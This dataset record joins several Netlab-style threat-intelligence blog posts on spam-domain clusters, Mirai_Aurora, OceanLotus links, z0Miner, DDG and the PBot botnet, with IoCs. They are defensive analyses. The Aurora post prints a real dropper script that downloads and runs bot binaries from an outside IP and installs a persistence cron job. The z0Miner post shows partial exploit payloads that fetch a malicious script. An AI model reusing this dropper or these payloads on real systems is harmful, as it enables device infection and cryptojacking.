kenshinx/netlab-blogs huggingface dataset:
DNSMon: 用DNS数据进行威胁发现（4）

----用DNS数据发现大规模垃圾邮件的投递



从2021年开始DNSMon相继看到以slot0为第一级label的域名，形如下表。并且从3月份开始，这类域名开始出现大规模的DNS请求访问。


slot0.aberalunim.xyz
slot0.desceet.com
slot0.easketh.com
slot0.fianinc.com
slot0.gleccus.com
slot0.healforec.com
slot0.hibiscus-solution.com
slot0.mindrey.biz
slot0.rut-hagener.com
slot0.tonytonero.com
slot0.westlakeservice.net




数据之间的联系


为了更好的观察他们之间的联系，从这些域名出发，对他们映射的IP地址的网段做DNS的反向查询，再次筛选slot0开头的域名，找到其他的上百个近似域名。然后将这些域名通过图系统进行关联，可以看到这些这些域名之间几乎没有特别紧密的关联，每个域名和他的基础设施之间几乎都是单线联系。如下图所示：




不过尽管IP，注册人以及其他的节点缺乏关联，但是我们很快发现：


 1. 这些域名有着近乎相同的子域名，包括dkim._domainkey. 和 _dmarc 。而DKIM和DMARC都是防垃圾邮件的机制。一般情况下都有相应的DNS TXT记录会保存相应域名的DKIM和DMARC信息。





 2. 他们使用的IP尽管并不相同，但是网段却非常接近。从这一点来看，他们该业务租用的机房是比较一致的。






投递垃圾邮件？


从子域名的特征上，我们推断这组域名是和发送电子邮件相关的。

通过进一步对图系统的扩展，我们找到了相应的邮件样本，邮件样本表明这些域名是投递垃圾邮件，并在附件中传播formbook，AgentTesla等恶意程序，由此判断他们是一组传播恶意程序的垃圾邮件僵尸网络。





在证书上的关联


在这些域名的注册邮箱中，有一个邮箱为 obipeter8@gmail.com ，通过DNSMon的证书库查询可以看到很多证书相关联的域名的子域名同样包含slot0，dmarc和dkim子域名，由此几乎可以确定这一组证书都是用来为投递垃圾邮件做的准备。


NOTE：这部分数据待补充，完善了证书库的索引之后可以添加相应内容。



数据规模


DNSMon看到的规模在高峰期可以达到近50万级别的感染用户。



参考资料：


 1. https://www.virustotal.com/gui/file/ab510019639f67d5dd13a95d406299c9006dccab6182a5d80aeb5de04d236b12/content/strings
 2. https://bazaar.abuse.ch/sample/1ef855f52b63ceffa3fd30b6bc04bc3a2ffb64a6926d4bca436c0be6456cfd84/#yara
 3. https://bazaar.abuse.ch/sample/95b8c1f748ebef3dcbad0fa3148d46d483d00620c3e56153e41fde8978daece9/
Mirai_Aurora攻击事件

背景


 * 
   
   
   2021年5月1日，我们蜜罐观察到针对socks5代理协议的流量暴涨平日的5倍之多。经过初步分析这些代理请求的目标地址都是msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028, 进一步分析发现这个域名是Mirai_Aurora(DDoS僵尸网络)这个僵尸网络的CC。至此可以说明这些暴涨的socks5流量都是来自这个僵尸网络的的bot。因此我们看到的这些针对socks5代理请求的源IP就是Bot的真实IP。
   

 * 
   
   
   通过找蜜罐和Fdark数据，我们找到了msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028 这个cc对应的样本255b4f37ebe768216eed1309a3a7d574, 并从样本中确认我们的蜜罐IP确实被硬编码到样本中作为他的代理用来和CC通信。也正是这个原因让我们从蜜罐的角度看到了这个botnet背后的一部分bot规模。
   

 * 
   
   
   经过初步分析，可以确定这些Bot IP对应的设备绝大部分都是台湾中保無限的路由设备。目前我们尚不清楚这个botnet是以何种方式感染这些设备的。另外通过Bot发给CC的Bot分组信息也可以确定大部分设备都在台湾。Bot分组信息如下：
   


 132897 taiwan
   3925 
   2484 dogs
   1593 mips
    994 powder
    309 korea
    214 balloon
    160 telnet
    129 totolink
    122 arm7
     94 adb_server
      6 android
      1 test




感染情况


截止到写稿日，我们看到总的被染源IP数量为14万，目前看这个数量还在持续上涨中。95%的被感染IP都在台湾地区。被感染设备主要为台湾中保無限的路由设备，设备http指纹特征为server=="lighttpd/1.4.25-devel-v2.2.24-45-gc66fb0e4" && title=="後台登入-中保無限路由器"。被感染趋势如下：




主要地区分布如下：




ASN分布如下：





关于Aurora Botnet


Aurora僵尸网络是在Mirai源代码上修改而来，因此我们将它命名为Mirai_Aurora，主要功能为DDoS攻击。它是在2021年1月份进入我们的视野，随后一直处于比较活跃的状态。2021年5月1日，我们发现Aurora重写了网络通信过程，开始使用Tor Proxy + Tor C2的模式。因为其硬编码的Tor Proxy列表中，有一部分是我们的蜜罐IP，使得我们从C2的视角看到了它这次急速扩张的过程。


Aurora这次活动的Downloader IP为45.61.139.84，上面有这次活动以及历史版本的各个CPU架构Aurora样本，以X86_64为例，我们可以看到45.61.139.84/x86_64所对应的New Version样本在短短的1天之内变化了4次。



其实这4个不同MD5的Bot样本只有一处变化，即Tor Proxy数量。





MD5
Tor proxy count




516b72b6624e61830dc08fd1399d5525
34


0235c317901650bbbd5f7fdb2fd4b001
61


fe77c563647107c871a4fc07538aa008
10


fa1e3ccf4416563e2989e607f865b2de
140


据统计，我们的蜜罐IP占其中60%左右，所以真实的被感染设备规模应该是现在我们看到的规模的一倍左右。






值得一提的是Old Version样本使用的C2是dns.cyberium.cc,而cyberium.cc中大量的2级域是Moobot的C2。因此我们推断Aurora属于Moobot团伙。



TODO


 * 尚不清楚是如何感染目标设备的
 * VT找到了台湾那些设备的入口脚本 Last-Modified: Sun, 02 May 2021 21:25:26 GMT


$ curl -ik http://45.61.136.142/script/gem
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 07:10:22 GMT
Content-Type: application/octet-stream
Content-Length: 304
Last-Modified: Sun, 02 May 2021 21:25:26 GMT
Connection: keep-alive
ETag: "608f18c6-130"
Accept-Ranges: bytes

#!/bin/sh
n="arm arm5 arm4 arm6 arm7 m68k mips mipsel sparc sh4 x86_64"
http_server="45.61.136.142"

cd /dev

for a in $n
do
	rm -rf $a

	wget http://$http_server/$a -O -> $a
	chmod 777 $a
	./$a taiwan
done

crontab -r

echo '* * * * * wget http://45.61.136.142/script/gem -O-|sh' | crontab -

rm -rf $0



 * 新样本修改了上线包格式


00000000: 13 11 18 19 12 64 65 62  75 67 2E 73 68 65 6C 6C  .....debug.shell
00000010: 2E 78 38 36 5F 36 34                              .x86_64




IoC



Loader IP


45.148.10.50	 AS48090|Pptechnology_Limited	Netherlands|North_Holland|Wormer




Sample MD5


255b4f37ebe768216eed1309a3a7d574




CC


msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028
“双头龙”源自海莲花组织？

我们的双头龙blog发布后引起了较大反响，除了媒体转载，一些安全同行还纷纷在我们blog下面留言和提问，其中5月4号的一则留言提到双头龙跟海莲花（OceanLotus）样本的C2行为有联系：



留言所提到的样本为一个zip打包文件，2016年就已出现。该zip可以解压出多个文件，那个名为Noi dung chi tiet（对应中文详细信息）的Mach-O格式可执行文件即是海莲花样本。对比分析显示该样本确实与双头龙样本存在多个相似之处，所以它们或许可以解开双头龙的身世之谜：它极可能是海莲花的Linux版本。本文主要从2进制代码层面介绍这些相似点。



相似点1：C2会话建立函数


Linux常见的域名解析函数为gethostbyname()，但双头龙使用了相对小众的getaddrinfo()函数，C2域名的解析和会话建立都在一个函数中完成，而海莲花样本中也存在一个模式类似的相同功能的函数，2者的函数对比如下：



能看出来它们不但功能相同，对sprintf()和getaddrinfo()的使用方式也几乎一模一样。此外，双头龙和海莲花都使用了单独的数据结构来保存C2会话信息，比如socket fd, 是否active, timeout等，而且它们的数据结构也很相似。



这些相似性是是2者存在关联的第一个证据。



相似点2：上线包构造手法


双头龙和海莲花的网络数据包都是由Head,Key,Payload三部分组成，其中Head是必须的，长度为82字节，而Key和Payload则是可选的。Head中的关键字段包括：


 * 偏移1，DWORD类型，存放一个magic；
 * 偏移9，DWORD类型，存放Payload长度；
 * 偏移13，WORD类型，存放Key长度；
 * 偏移15，DWORD类型，存放消息码。


双头龙通过一个单独的函数初始化上线包的Head：



这个函数先调用malloc()函数为上线包动态分配内存，接下来依次调用time()/srand()/rand()函数生成一个随机字符然后赋给上线包的第一个字段，剩下的大片代码就是用多个常量对其余字段逐一赋值，所以该函数最明显的特点就是用多个常量初始化上线包。


海莲花样本中也存在1个专门初始化上线包Head的函数：



该函数没有内存分配和随机生成字符的代码，整个函数都是用多个常量逐一赋值上线包的具体字段，这一点跟双头龙一模一样。此外，在1、24和75这三个偏移处海莲花跟双头龙共享了同样的字段值，尤其是偏移为1处的magic都为0x3B91011，这很难用巧合来形容，所以大大增加了这两段代码同源的概率。


另外，双头龙和海莲花都为上线包分配了消息码，并且都是0x2170272：




最终产生的上线包也非常相似，双头龙上线包如下：



下面是PAN2017年分析出的海莲花上线包：




双头龙解密后的上线包如下所示：



下面是PAN分析报告里的海莲花明文上线包：



可以看到它们的明文结构一样，关键字段值基本相同。



相似点3：均存在rotate函数


双头龙和海莲花都存在一个我们称之为“rotate()”的函数，用于加/解密，双头龙的rotate函数如下：




海莲花版本：




两相对比不难发现它们的共同点：


 1. 均接受3个参数。
 2. 原型相同，其中第1参数为实际的rotate对象，第2个参数为长度字段，第3个参数起控制作用。


在实际使用中，例如在加密上线包的过程中，可以看到，双头龙和海莲花使用了一样的参数。





相似点4：相同的指令码


双头龙和海莲花都用DWORD类型的指令码来指定消息的功能，并且共享了多个语义相同的指令码，部分有特色的指令如下表所示：





Cmd
Function




0x18320e0
Upload device Info


0x2170272
Register


0x1B25503
execute function from a plugin(a aynamic library)


0x1532e65
execute function from a plugin(a aynamic library)


0x25D5082
execute function from a plugin(a aynamic library)


这种相似显然不能用巧合来解释了，这是它们代码同源的极强证据。







总结


双头龙与MAC版的海莲花木马虽然是用不同语言实现的，但是它们在功能和消息格式设计上的相似，在具体实现上的雷同，已经不能用巧合来解释了。从目前的线索来看，双头龙极大可能是由海莲化组织开发的Linux后门木马，很可能就是Linux版本的海莲花。


感谢社区提供的各种线索，让我们一起Make Cyber Security Great Again。



引用


https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/
威胁快讯：z0Miner 正在利用 ElasticSearch 和 Jenkins 漏洞大肆传播

版权

版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。


概述

最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，z0Miner 就是其中一例。

z0Miner 是去年开始活跃的一个恶意挖矿家族，业界已有公开的分析。z0Miner 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。

近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 z0Miner 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下：


漏洞利用情况


ElasticSearch RCE 漏洞 CVE-2015-1427

虽然是个 2015 年的老漏洞，z0Miner 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)：

POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}



Jenkins script console RCE 漏洞

该漏洞被曝光的时间比上面的 CVE-2015-1427 更早一些，z0Miner 利用它来传播的 Payload 如下：

POST /{VULN_URL} HTTP/1.1
Host: {target}:{port}

curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run



样本分析


初始 Shell 脚本

上述两个漏洞利用的 Payload，核心逻辑都是下载 hxxp://27.1.1.34:8080/docs/conf.txt 并执行。该文件为恶意 Shell 脚本，对应于 z0Miner 早期的 z0.txt。其运行逻辑与早期 z0.txt 基本一致：

 1. Kill 竞争对手；
 2. 设置 Cron 任务；
 3. 下载&执行挖矿套件。


Cron 任务

同早期一样， z0Miner 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下：

hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt


目前，以上 URL 下载到的脚本内容只有一个 exit 命令，不排除以后会加入更多恶意动作。


挖矿

在 Kill 一批竞争对手、设置好 Cron 任务后， conf.txt 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿：

hxxp://27.1.1.34:8080/docs/config.json     --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe   --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh         --> Miner Starter Shell script file


solr.sh 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。

config.json 文件中的 XMR Wallet 与早期 z0Mner 的 Wallet 不同，现为：

49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7


目前已挖到 XMR 超 22 枚：


处置建议

我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。
我们建议读者对相关 IP 和 URL 进行监控和封锁。


联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。


IoC


C&C

27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV
178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean



URL

hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh



MD5

84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9



XRM Wallet

49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
Threat Alert: DDG 3013 is Out

DDG is a mining botnet mainly focusing on SSH, Redis databases and OrientDB database servers. We captured the first DDG botnet on October 25, 2017, and subsequently released several reports. A recent report was released in 2018-06, which reflected the newest version of DDG 3012 at that time.

This morning, we noticed that DDG version 3013 came out.

IoC

C2

149.56.106.215:8000    Canada/CA Pierrefonds   "AS16276 OVH SAS"  


Download URL

hxxp://149.56.106.215:8000/i.sh               #fca88105ed6f1fc72d25cfb30a0080b8  
hxxp://149.56.106.215:8000/static/3011/ddgs.i686    #999fc24f53034b4c73866a0699be15fa  
hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64  #55b1d7b0fa1c479c02660896e05db910  
hxxp://149.56.106.215:8000/static/3012/ddgs.i686    #e31c1d7a8025e7c3266a07e37c55a4ba  
hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64  #26b3aef91bacfa082deff9812acf7875  
hxxp://149.56.106.215:8000/static/3013/ddgs.i686    #7fb5665a632fe3f91c65df960ef56d9f  
hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64  #c090e30a008b6bc0ea323ba5928c4a62  
hxxp://149.56.106.215:8000/static/qW3xT             #c50d3e20b3519f096630e31277fefceb  
hxxp://149.56.106.215:8000/static/qW3xT.1           #532a35a8d0fe4944c24575c0336eff8a  
hxxp://149.56.106.215:8000/static/qW3xT.2           #0a63e48163056b04bf1d48420b7c8150  


New mining pool agent

104.197.211.117:443 United States/US "AS15169 Google LLC"  


Infect Method

Using mis-configured Redis in the same way as previous versions of DDGs.

Monetization method

Mining

 * Mining Pool:Agent: 104.197.211.117
 * Wallet Address: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik

Activities

In the past 24 hours, our ScanMon reported 471 scan sources, mainly from China mainland.

Contact Us

Readers can feel free to contact us on our twitter or WeChat 360Netlab
威胁快讯：DDG 3013 版本

DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后发布了多份报告。最近的一篇 报告 发布于 2018-06，当时 DDG 的版本更新到 3012。

今晨，我们注意到 DDG 更新到版本 3013。

IoC

C2

149.56.106.215:8000    Canada/CA Pierrefonds   "AS16276 OVH SAS"  


下载URL

hxxp://149.56.106.215:8000/i.sh  
hxxp://149.56.106.215:8000/static/3011/ddgs.i686  
hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64  
hxxp://149.56.106.215:8000/static/3012/ddgs.i686  
hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64  
hxxp://149.56.106.215:8000/static/3013/ddgs.i686  
hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64  
hxxp://149.56.106.215:8000/static/qW3xT  
hxxp://149.56.106.215:8000/static/qW3xT.1  
hxxp://149.56.106.215:8000/static/qW3xT.2  


新的矿池代理

104.197.211.117:443 United States/US "AS15169 Google LLC"  


投入方式

利用错误配置的 Redis ，方式与之前版本DDG 一致

获利方式

挖矿

 * 矿池：代理：104.197.211.117
 * 钱包地址：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik

感染规模

过去24小时内，我们的ScanMon报告了扫描源 471 个，主要来自国内。

联系我们

感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
僵尸永远不死，DDG拒绝凋零

DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后展开了持续的分析和跟踪。在这期间，我们注意到该僵尸网络有两个内部保留域名尚未注册，我们抢注了这两个域名，并利用到这两个域名的流量精确记录了该僵尸网络感染的 4,391 个IP地址。在那段时间中，DDG 的主要流行版本是 2020、2021。以上内容详细记录在我们 2018年2月发布的 报告中。

有些僵尸网络的作者，会在我们发布分析报告之后悄然离去，比如 http81（persirai），但是 ddg 的作者选择留在场上。

DDG首份报告发布后3个月，2018年5月，我们意识到 DDG 有更新。这一次卷土重来，DDG更换了其主控IP地址，以期逃避安全研究员的跟踪。不过我们依旧定位到了 DDG 的两个新版本 3010和3011，并监控到作者对 3011 版本中挖矿部分bug修正的过程。

6 月12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本 3012，并再一次更换了主控地址。以上内容分别与 5月21日 、 6月1日和6月13日 记录在我们的 DDG 更新文章中。

DDG 的作者会就此罢休么？不会的。僵尸永远不死，而且它们拒绝凋零。

DDG 更新一览

下图是我们监控到的 DDG版本更新情况、模块列表、以及版本和模块的对照关系。

从图中我们可以看出：

 * 版本更新：从2017年10月开始，DDG先后发布了 201x， 202x， 301x 三个大的系列版本，内部分为6个小的版本，以及若干小版本内部的补丁修正。
 * C2 IP地址：先后使用了四个IP。看起来我们的批露文章，加快了 DDG 更新 C2 的频率。
 * 模块结构：大体可以分为投入、保活、挖矿三个大模块。
 * 感染目标：长期持续针对SSH 服务器暴力破解以及Redis服务器未授权访问（2017-10 ～ 至今）。在版本 201x 和 202x 部分，也曾经将 Struts2 和 OrientDB 数据库服务器作为感染目标。
 * 钱包地址：先后使用了三个钱包地址。挖矿程序的文件命名，通常取钱包地址的最后5～6个字符串。
 * 挖矿容错：作者在大版本切换过程中，总是同时发布两个版本的挖矿程序，提高客户端版本更新前后的容错性；在301x版本之后，DDG作者开始使用了多个矿池，避免单个矿池链接不畅。包括矿池hk02.supportxmr.com，pool.supportxmr.com，xmr-asia1.nanopool.org，xmr-us-west1.nanopool.org，以及矿池代理 47.52.57.128，165.225.157.157 ，

另外：

 * 收益：按照我们的不完全统计，DDG的这些钱包地址已经至少从Monero.crypto-pool.fr 中获得了至少 7,425 个门罗币。
 * HUB：DDG会使用黑掉的服务器作为肉鸡，作为挖矿程序下载服务器列表。这些HUB_IP 的列表，会在每个版本更新时一并更新。如果IP出现在该列表中，意味着机器曾经或正在被DDG感染。详细见文末 IoC 部分。

IoC

DDG C2 List

218.248.40.228    India/IN    National Capital Territory of Delhi/New Delhi  
202.181.169.98    Hong Kong/HK    Central and Western District/Central  
165.225.157.157    United States/US    Nevada/Las Vegas  
69.64.32.12    United States/US    Missouri/St Louis  


IP_HUB list

 * v2011
 * v2020~v2021
 * v3011
 * v3011 patched
 * v3012
未知的垃圾邮件发送行为

2021-05-13

同步一下DNSMon最近发现的一个现象，可能是和垃圾邮件相关，现在无法进一步实锤。

1. 在DNSMon中，从5.11开始，发现了大概15个形如 “^mail\.[a-z0-9]{5,7}\.cn” 的域名。解析的IP地址全部集中在百度。

mail.uizhx4t.cn
mail.vm47jcn.cn
mail.x1gi4me.cn
mail.x3w13mq.cn
mail.x98nb5r.cn
mail.xico1d.cn
mail.xs58782.cn
mail.ylt19px.cn



2. 从域名whois注册人的邮箱来看，大部分都注册了超过1000个域名，应该是域名贩子或者是做域名出租生意的。

3. 大概在百级别，地理位置分布比较均匀，全国每个省都有并且数量和经济发达程度呈正相关。

4. 有趣的地方在这里，通过时序关联域名查看，几乎每个域名都和如下域名有较强的关联：

20210511    1.000000    175         mail.u5hymh4.cn    # 被查询域名自身
20210511    0.188571    33          outlook.jp 		# outlook的日本站
20210511    0.165714    29          bloomberg.net	# 彭博社的域名，看dns记录主要是邮件记录以及和防垃圾邮件相关的txt记录。
20210511    0.120000    21          edm.tebon.com.cn # 德邦证券的域名，DNS解析记录仍然为MX邮件记录
20210511    0.085714    15          u5hymh4.cn       # 被查询域名的二级域名
20210511    0.057143    10          sbrs.glb.cellopoint.com  #  位于台湾的一家防垃圾邮件的公司
20210511    0.051429    9           x3w13mq.cn 		# 和被查域名相关的另外一个域名。



5. 这类域名还有两个显著的特点：

1. 几乎都有_dmarc 和 _domainkey（DKIM）等用于垃圾邮件检测的记录。

2. 从去年底到今年4月份，这些域名有一波随机子域名的解析记录，数量不多，解析结果在境外的阿里云。

6. 补一个图链接：https://graph.netlab.qihoo.net/#/explorer?snapshot=609c89f7f76ea30104ab158b


2021-06-07

7. 更新在20210607， 新一批域名出现，规模和之前发现的类似，域名注册人也完全相同。此次行动的起始点为20210525。 和5月初的不同主要体现在：

 * 
   
   1. 域名不同。此次出现的域名和上次出现的域名没有重合。不过此次出现的域名从passivedns上来看，在20210430～20210506这段时间使用过一次。
   
 * 
   
   2. 使用的基础设施不同。此次使用的基础设施不再用百度云的IP地址。使用了芬兰，美国和俄国的IP地址。
   


相应的图链接：https://graph.netlab.qihoo.net/#/explorer?snapshot=60bd85ffcca5218c58248f4b


持续更新中ing
新P2P Botnet: PBot分析简报

本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。



版权


版权声明: 本文为国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



概述


2021-05-31我们监测到一个可疑Linux可执行文件0c47d63b0d1d917549a31debb68ab678(downloader: http://205.185[.126.254/bins/exxsdee.arm), 经分析我们发现这是一个全新的使用自定义P2P协议的正在发展中的P2P Botnet。其主要功能为DDoS。正在编写本文之际，我们收到了一封来自声称是Keksec组织成员的作者的邮件，称想和我们讨论关于一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为PBot，所以我们称之为PBot。当前Bot数为1406。作者提供的部分截图如下：





样本传播


我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：





Vulnerability
Affected Aevice




JAWS_DVR_RCE
MVPower DVR


ZTE F460 and F660 backdoor
ZTE Router


Netis Backdoor
Netis Router






样本分析


Pbot自从进入我们视野后，一直在积极的迭代更新。我们在其downloader（205.185.126.254:80）服务器上不仅发现了全系CPU架构的bot样本，还发现了控制端。





Pbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：




事实上Pbot的功能比较简单，执行时首先会在Console输出[main] bot deployed\r\n字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出BootNode ,身份认证KEY等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：




BootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：


 * 统计各Peer信息（Peer会向它注册，上传自身信息）
 * 协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot
 * 承载样本，恶意shell脚本的下载服务


而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。它的控制面板如下所示：




2021年6月21日观测到的botnet状态如下所示：





联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



相关链接


CNCERT: 关于新型P2P僵尸网络PBot的分析报告



IoC



Downloader URL


http://205.185[.126.254/bins/controller.x86
http://205.185[.126.254/bins/exxsdee.arm7
http://205.185[.126.254/bins/exxsdee.i586
http://205.185[.126.254/ssh.sh
http://205.185[.126.254:80/bins/crsfi.arm
http://205.185[.126.254:80/bins/exxsdee.arm
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254/korpze.sh
http://205.185[.126.254/sv.sh
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254///exxsdee.mpsl
http://monke[.tw/armz.sh
http://monke[.tw/u




Loader IP


23.94.22.111    AS36352|ColoCrossing    United_States|New_York|Buffalo
205.185.125.92  AS53667|FranTech_Solutions  United_States|Nevada|Las_Vegas
143.198.99.95   AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
23.95.9.192     AS36352|ColoCrossing    United_States|New_York|Buffalo
199.19.224.153  AS53667|FranTech_Solutions  United_States|Nevada|Las_Vegas
143.198.48.62   AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
69.55.62.38     AS14061|DigitalOcean,_LLC   United_States|New_York|New_York_City
199.19.225.131  AS53667|FranTech_Solutions  United_States|Nevada|Las_Vegas
107.172.0.156   AS36352|ColoCrossing    United_States|Texas|Dallas




Sample MD5


4bc46deb5372d11a2600377931db71c8
0205f44954c45fb24251087635c53296
0e86f26659eb6a32a09e82e42ee5d720
3155dd24f5377de6f43ff06981a6bbf2
3255a45b2ebe187c429fd088508db6b0
3484b80b33ee8d53336090d91ad31a6b
769bc673d858b063265d331ed226464f
8de9de4e14117e3ce4dfa60dacd673ef
9cb73e83b48062432871539b3f625a21
d209fe7d62f517de8b1cf1a5697e67c2
e84a59bb18afff664e887744d8afebd0
关于新型P2P僵尸网络PBot的分析报告

本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。



概述


CNCERT监测发现从2020年以来P2P僵尸网络异常活跃，如Mozi、Pinkbot等P2P僵尸网络家族在2020年均异常活跃，感染规模大、追溯源头难且难以治理，给网络空间带来较大威胁。


2021-05-31CNCERT和360捕获到一个全新的使用自定义P2P协议的僵尸网络。其主要功能为DDoS。（当前很多杀毒引擎将其识别为Mirai或Gafgyt家族）。正在编写本文之际，我们收到了一封来自声称是Keksec组织成员的作者的邮件，称想和我们讨论一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为PBot，所以我们称之为PBot。作者提供的部分截图如下：





相关样本分析



僵尸网络组织结构


Pbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：




事实上Pbot的功能比较简单，执行时首先会在Console输出[main] bot deployed\r\n字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出BootNode ,身份认证KEY等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：


 * attacks_vector_game_killer： UDP DDos攻击，连续发送768个随机字串
 * attacks_vector_nfo_v6： 使用特定Payload对nfo务器发起TCP DDoS攻击
 * attacks_vector_plainudp： DUPDDos攻击，连续发送511个随机字串UDP包500次
 * attacks_vector_plaintcp： TCP DDoS攻击，连续发送511个随机字串TCP包2500次
 * attacks_vector_l7_ghp： HTTPDDoS攻击，连续发送HTTP数据包500次
 * attacks_vector_ovh_l7： 使用特定Payload对OVH服务器发起HTTP DDoS攻击





BootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：


 * 统计各Peer信息（Peer会向它注册，上传自身信息）
 * 协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot
 * 承载样本，恶意shell脚本的下载服务


而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。



传播方式


我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：





漏洞
影响设备




MVPower DVR Shell未经身份验证的命令执行
MVPower DVR


ZTE路由器F460，F660后门命令执行
ZTE Router


Netcore路由器UDP端口53413后门
Netis Router






感染规模


2021年6月21日观测到的botnet状态如下所示，显示当前节点能看见的Bot数量为1174：





IoC



Downloader URL


http://205.185[.126.254/bins/controller.x86
